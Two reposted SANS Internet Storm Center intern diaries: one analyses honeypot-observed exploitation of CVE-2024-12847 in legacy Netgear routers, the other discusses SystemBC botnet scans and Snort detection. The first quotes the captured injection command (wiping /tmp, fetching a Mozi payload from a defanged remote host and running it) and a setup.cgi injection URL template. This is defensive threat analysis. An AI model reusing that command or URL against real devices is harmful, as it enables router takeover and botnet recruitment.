This post was originally published on this site

[This is a Guest Diary by David Watson, an ISC intern as part of the SANS.edu BACS program]

One thing I’ve learned about cybersecurity, particularly during my time here at the Internet Storm Center is this: If you don’t capture detailed network data (like PCAPs), you can easily miss the full picture of an attack, even with the most aggressive logging practices.
 
One of the attack observations I submitted on January 12th detailed an older vulnerability that uses HTTP GET requests, attempting to perform unauthenticated OS command injections on some legacy Netgear devices, targeting the ‘setup.cgi’ script. I was curious as to which Netgear devices might be involved, and some research led me to a few publications on exploit-db.com, which identified specifically the DGN1000 with firmware versions before 1.1.0.48, and the DGN2200v1 (all firmware versions) modem/router models.[2][3] Both of these models are shown to be “end of service” on the Netgear website. [4][5] There was no CVE mentioned, but a few days later I found out from another post on the 15th of January here at the Internet Storm Center, written by Dr. Yee Ching Tok, Ph.D., ISC Handler:

“This vulnerability was only formally registered in the CVE database in 2024 although it was first disclosed in May 2013, and the corresponding CVE entry was published recently on January 10, 2025.” [6]

CVE-2024-12847 has a CVSS score of 9.8 as shown on NIST.gov. [7] This post will illustrate how I found this in my logs, why it matters, and how packet captures and Zeek logs proved essential.

An Older Vulnerability Resurfaces

Netgear’s DGN1000 and DGN2200v1 devices are end-of-life (EOL) devices. The bug sits in a script called ‘setup.cgi’, (cgi = Common Gateway Interface) which is meant for administrative management of the router. Attackers discovered that by passing certain parameters, one can execute arbitrary OS commands on the router’s underlying Linux operating system as root, without any authentication checks. Over the last several months my web logs showed 257 suspicious HTTP GET requests from 16 unique IP addresses to ‘/setup.cgi’.

Looking into my Zeek logs to correlate this activity revealed an interesting payload, showing two examples of the command injection attempts here:

Breaking this down, we have:
 

• GET /setup.cgi?next_file=netgear.cfg – Targeting the setup.cgi script.
• &todo=syscmd – Calling the syscmd function.
• &cmd=rm+-rf+/tmp/*;wget+hxxp[://]<ip_address:port>/Mozi[.]m+-O+/tmp/netgear;sh+netgear – OS command injection.
• &curpath=/ – Setting “current path” to root.
• &currentsetting.htm=1 – unclear exactly what this part does.

The command injection attempt aims to:

• rm -rf /tmp/*; – Remove the contents of the /tmp directory.
• wget hxxp[://]<ip_address:port>/Mozi[.]m -O /tmp/netgear; – Retrieve malicious script (Mozi botnet related? [14]) from remote server, save it in /tmp directory and name it “netgear”.
• sh netgear – Execute malicious script on target device.

Reverse-Engineering setup.cgi

Curiosity drove me to download a vulnerable version of the DGN1000 firmware, specifically version 1.1.00.24, still available right off the Netgear website! [8] I found the setup.cgi file, located in the <source>/target/sbin directory. Running the ‘file’ command showed:

setup.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

Using my relatively new reverse engineering “ninja” skills gained from several CTFs I have participated in over the last few years (and various websites with C documentation), I decided to attempt a disassembly with radare2, [10] as it allows me to look inside this compiled binary and see how it works.

I am interested in the syscmd function, so I ran “iz~syscmd”, which gave me a string reference to syscmd and and a pointer to its location. Running “pdf” (print disassembly of function) after navigating to that address within the binary reveals the function associated with syscmd. Here is what that looks like:

Right off the bat, I can see some standard C library calls like putenv, printf, snprintf, chdir, puts, fflush, popen, fread, fwrite, and pclose. [9] “find_val” might be a custom or proprietary function specific to the Netgear firmware, but I did not find any specific reference pointing to this as of now. Given the context of this disassembly, we will assume that find_val has something to do with retrieving user-supplied parameters. Based on the sequence of events here, this is what I can conclude from the syscmd function:

• putenv, puts, and printf have to do with setting up the environment, status messages and/or error reporting and/or debugging.[9]
• find_val most likely retrieves user-supplied parameters.
• snprintf formats and stores characters into the buffer [9], likely from find_val.
• chdir possibly relates to the curpath=/ in the HTTP request.
• fflush writes the contents of the buffer to the output stream. [9]
• popen spawns a shell instance and executes the command. [11]
• fread() and fwrite() capture the output and send it somewhere (log file and/or back to the user if necessary)[9]

Based on what we can see how the syscmd function is laid out, there is absolutely zero input sanitization, and, looking at the entire setup.cgi script there is no mention of any authentication checks before being able to run these commands.

As far as the netgear.cfg file goes, it is not entirely clear why there is a “next_file = netgear.cfg” parameter before the “&todo=syscmd…etc” begins. I did not have access to the netgear.cfg file as it was a broken hard link pointing to the /tmp directory which was empty. I did find the “currentsetting.htm” file in source/target/www.eng, which, when printed, shows basic information about the device:

• Firmware=V1.1.0.24NA
• RegionTag=DGN1000_NA
• Region=US
• Model=DGN1000
• InternetConnectionStatus=Up
• ParentalControlSupported=1

I also found something else interesting here. A file called syscmd.htm which has several interesting JavaScript function in it relating to our exploit.

Essentially this (combined with the rest of the script, not included here) looks like part of the local front-end of the router’s web page to facilitate running the user-initiated commands.

This is interesting because there is at least some of the input validation/sanitization (included in some of the REGEX) we were looking for in the setup.cgi script itself! But this is only really enforced on the client/local side. There is nothing stopping an attacker from using this script to craft their own custom HTTP requests and sending them directly to the setup.cgi script in the provided format:

url: “/setup.cgi?todo=syscmd&cmd=<command_injection>&curpath=/”

The only remaining parts to the full URL we mentioned are the “next_file=netgear.cfg” and “currentsetting.htm=1”. It is possible that these parameters need to be added to prevent the failure of the request/destination device throwing back errors, or perhaps one or both values have to do with the authentication bypass, as we did not see any checks for authentication in the setup.cgi script itself. It is also possible that the attackers are just re-using the proof of concept that was referenced on the exploit-db site,[2][3] showing the exact format of the exploit, and not personally crafting the request themselves, save for the remote server IP and the malicious files in question, used to add the router to a botnet and/or hijack CPU resources to mine cryptocurrency, as we have also seen in other attempts on my honeypot.

Conclusion

The fact that we are still seeing what is now CVE-2024-12847 actively being exploited in the wild as much as it is isn’t all that surprising. Many people choose to keep their older hardware for as long as possible because, perhaps they cannot afford to replace it, and/or they do not realize the importance of patching regularly or upgrading when needed. Personally, I know VERY few people who check to see if their router needs updated firmware at least once a month. One of the potential benefits of using equipment provided by the Internet Service Provider(s) is they will often push these firmware updates to customer equipment, but that might not always be guaranteed, so it is worth double checking. And if the customer purchases their own equipment, it is their responsibility to keep it patched.
 
This graphic shows how many of these URLs the Internet Storm Center has seen over the past year: [13]

What do we glean from this? Outdated systems remain vulnerable long after their official support has ended. Despite being labeled as “end of service”, devices like the Netgear DGN1000 and DGN2200v1 (and probably many more Internet of Things (IoT) devices) continue to present significant security risks that can and will be exploited if appropriate measures are not taken.

My ultimate point in writing this is about the lessons I learned during this internship, in comprehensive network monitoring and data capture. Without the combination of detailed logging combined with things like packet captures and Zeek logs, these things can sometimes slip under the radar, leaving networks exposed. The ability to correlate events across different logs, as shown with Zeek in this case, was crucial in identifying and understanding the scope of the attack and understanding how to remediate and patch vulnerabilities.

I read an article earlier today that gave me a chuckle, titled “I paid $250,000 to learn forensics… and still don’t know forensics… [12]. Looking past the forensics title (and the humor), I think this applies to all of cybersecurity in general. Threats are constantly evolving, making this a field that demands continuous learning and adaptation. As soon as we become complacent, we risk failing to protect and defend our networks effectively. There is no definitive endpoint where we can say we “fully know” network security, threat hunting, incident response, etc. It is a lifelong journey, and one which I am extremely excited to be on. I will close this out with a phrase that has always stuck in my mind ever since my time in the Marines, and feel it is very applicable here. “Complacency kills” (and leaves networks vulnerable). One more thing, someone go buy Grandma a new router!

[1] https://www.sans.org/cyber-security-courses/network-monitoring-threat-detection/
[2] https://www.exploit-db.com/exploits/25978
[3] https://www.exploit-db.com/exploits/43055
[4] https://www.netgear.com/support/product/dgn2200v1/
[5] https://www.netgear.com/support/product/dgn1000/
[6] https://isc.sans.edu/diary/The+Curious+Case+of+a+12YearOld+Netgear+Router+Vulnerability/31592
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-12847
[8] https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL
[9] https://www.ibm.com/docs/en/i/7.5?topic=extensions-standard-c-library-functions-table-by-name
[10] https://github.com/radareorg/radare2
[11] https://c-for-dummies.com/blog/?p=1418
[12] https://brettshavers.com/brett-s-blog/entry/i-paid-100-000-to-learn-forensics-and-still-dont-know-forensics
[13] https://isc.sans.edu/weblogs/urlhistory.html?url=L3NldHVwLmNnaQ==
[14] https://thehackernews.com/2024/11/androxgh0st-malware-integrates-mozi.html
[15] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

[This is a Guest Diary by Joseph Flint, an ISC intern as part of the SANS.edu BACS [1] program]

Access brokers are groups referred to that obtain initial access in compromised environments, establish persistence through different methods, and sell this access to secondary bad actor groups who contribute to follow up attacks. 

CrowdStrike wrote an article outlining desired targets typically involved with compromises that were shown to come from an access broker group [2]. They broke down the top 10 targeted sectors for access brokers by percentage and found the following:

• 21% Academic 
• 15% Government
• 13% Technology
• 9% Financial Services
• 9% Healthcare
• 8% Energy
• 7% Manufacturing
• 7% Industrials & Engineering
• 6% Legal
• 5% Insurance

Is your organization, or an organizations security posture you manage a part of this profile? For most Cybersecurity professionals the answer will be an overwhelming yes due to several factors including budgets for internal companies and for various audit requirements. These findings directly put environments related to these fields at risk as bad actors are looking to buy access to these environments.

Proofpoint outlined some commonly observed persistence mechanisms that are utilized by cyber criminals including a SystemBC botnet which is observed routinely in different environments I have personally worked on and across honeypot systems [3]. Many botnets are observed scanning the internet for previously infected hosts. One of these examples comes from my own honeypot. Observed traffic from a Digital Ocean hosted IP [4][5] shows web URL requests looking for this previously mentioned SystemBC directories.

Figure 1: Log from a received HTTP request related to SystemBC from a DShield honeypot.

We can determine this is scanning activity as the honeypot receives several additional requests for other .php extensions related to SystemBC botnet requests:
 

Figure 2: All URLS requested from suspicious source IP.

 

We can see /1.php which appears suspicious, /password.php, /systembc/password.php, a /geoip directory which may be related to making the system call back to determine location after compromise. 

The SystemBC botnet is utilized often by these access broker groups as it is considered a SOCKS5 proxy [6] which contributes to anonymity and masking activity by the original traffic senders.

Now that we have seen an example, how can we properly detect the activity and protect our environments? Firstly, these types of scans occur across the internet constantly. Its widespread across the internet and even benign sources will still scan random hosts. One such example is the Shodan project [7]. This advertises itself as the search engine for the Internet of Everything and accomplishes this by internet wide vulnerability scans. While the ethics behind pointing out vulnerabilities on random hosts across the internet is questionable, if no intrusions take place, it is in a legal grey area.

The news is not all bad, as there are protective measures that can be taken to monitor the activity. Some consideration can be made for the following defensive mechanisms:

• Endpoint Detection and Response (EDR)
• Network Intrusion Detection Systems (NIDS/IDS)
• Device hardening

IDS solutions will often also have rules that check for scanning activity that match known botnet signatures. One well known example of IDS is Snort! This IDS out of the box does not provide SystemBC specific rules [8], however open-source projects make this easier to automate pulling new published rules. One example of this is the pulledpork project [9]. On the website for snort, we see Download rule options allowing you to do it manually [10].

Figure 3: Snort rules relevant to various SystemBC detections.

 

As we can see from the example, there are detections in place that look to capture various aspects of typical SystemBC traffic. By making use of these various rules, we can better detect abnormal behavior that can be indicative of botnet C2 beaconing.

As proof of concept, I wanted to run this for the request that we received. As observed in figure 3, most rules are for outbound traffic to catch the beaconing to the C2 server. To be proactive, let’s see if we can find a way to capture this web request. I began by downloading the community rules for snort [11]. Unfortunately, after following the set up and unzipping the rules they show no findings for submissions regarding SystemBC.
 

Figure 4: No findings for SystemBC rules by default in our attempted community rules.

 

For the sake of brevity, I wanted to ensure this one the only rule present and utilized a separate rule configuration.

Figure 5: Display of the rule I established to catch inbound /systembc/password.php requests.

 

In this example, the rule is basic because we’re looking for a very specific request. The EXTERNAL_NET and HOME_NET variables denoted with the “$” will be related to how your environment is set up and the IP addresses you utilize. We add an alert message as well as the content we’re looking for, in this case the URL in question.

After some troubleshooting and replaying the packet capture from the initial log we can see Snort detects the traffic and populates our alert. 

Figure 6: Alert generated after using our PCAP and evaluating it against our Snort rule.

 

Typically, we can feed this into a SIEM of our choosing and have this generate an alert that a security analyst can verify for. While this is a basic step, additional changes can be made in the rule to reduce false positives and tune the alert if it becomes too noisy by checking for successful requests.

An additional consideration should be made that with static detections in place, if the bad actors alter their requests and how the malware operates, we will have to create additional rules. In general, it is best to keep the rules as general as possible, without causing too many false positives.

Another option for preventing initial infection is system hardening. The Center for Internet Security has published benchmarks for recommended baseline settings to establish a good security posturing for devices [12]. They cover many different operating systems and can give us a good starting point.

Figure 7: Example image of the CIS website with benchmark security recommendations.

 

Equally important is the implementation of a good EDR product to monitor our environment. While network telemetry is key in finding C2 beaconing [13], what about the signs that come from end point metrics? Being able to see what commands are being run, what file directories are being created, files being modified, can all lead to malware detections and even shine light on what initial breach patterns are being observed as this malware type advances.

Due to the prevalent nature of access brokers leading to widespread attacks including ransomware, it is critical that we identify low hanging fruit and establish baselines in our environments. While these atomic indicators may not always work, it does no harm in having them established just in case there is a lazy scan that leads to the discovery of a breach.

Knowing about the Systembc botnet and some of the indicators of compromise enables cybersecurity professionals and system administrators to work and improve security postures in our environments. We can implement more safeguards to detect abnormal traffic and to reduce dwell time of bad actor’s post breach. 

References:

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://www.crowdstrike.com/en-us/blog/access-brokers-targets-and-worth/
[3] https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
[4] https://www.abuseipdb.com/check/159.223.213.229
[5] https://www.virustotal.com/gui/ip-address/159.223.213.229
[6] https://www.kroll.com/en/insights/publications/cyber/inside-the-systembc-malware-server
[7] https://www.shodan.io/
[8] https://www.snort.org/
[9] https://github.com/shirkdog/pulledpork3
[10] https://www.snort.org/downloads
[11] https://www.snort.org/faq/what-are-community-rules
[12] https://www.cisecurity.org/cis-benchmarks
[13] https://unit42.paloaltonetworks.com/c2-traffic/#:~:text=Detecting%20C2%20Traffic&text=Other%20types%20of%20C2%20packets,(i.e.%20benign)%20traffic%20sessions

 

—
Jesse La Grew
Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.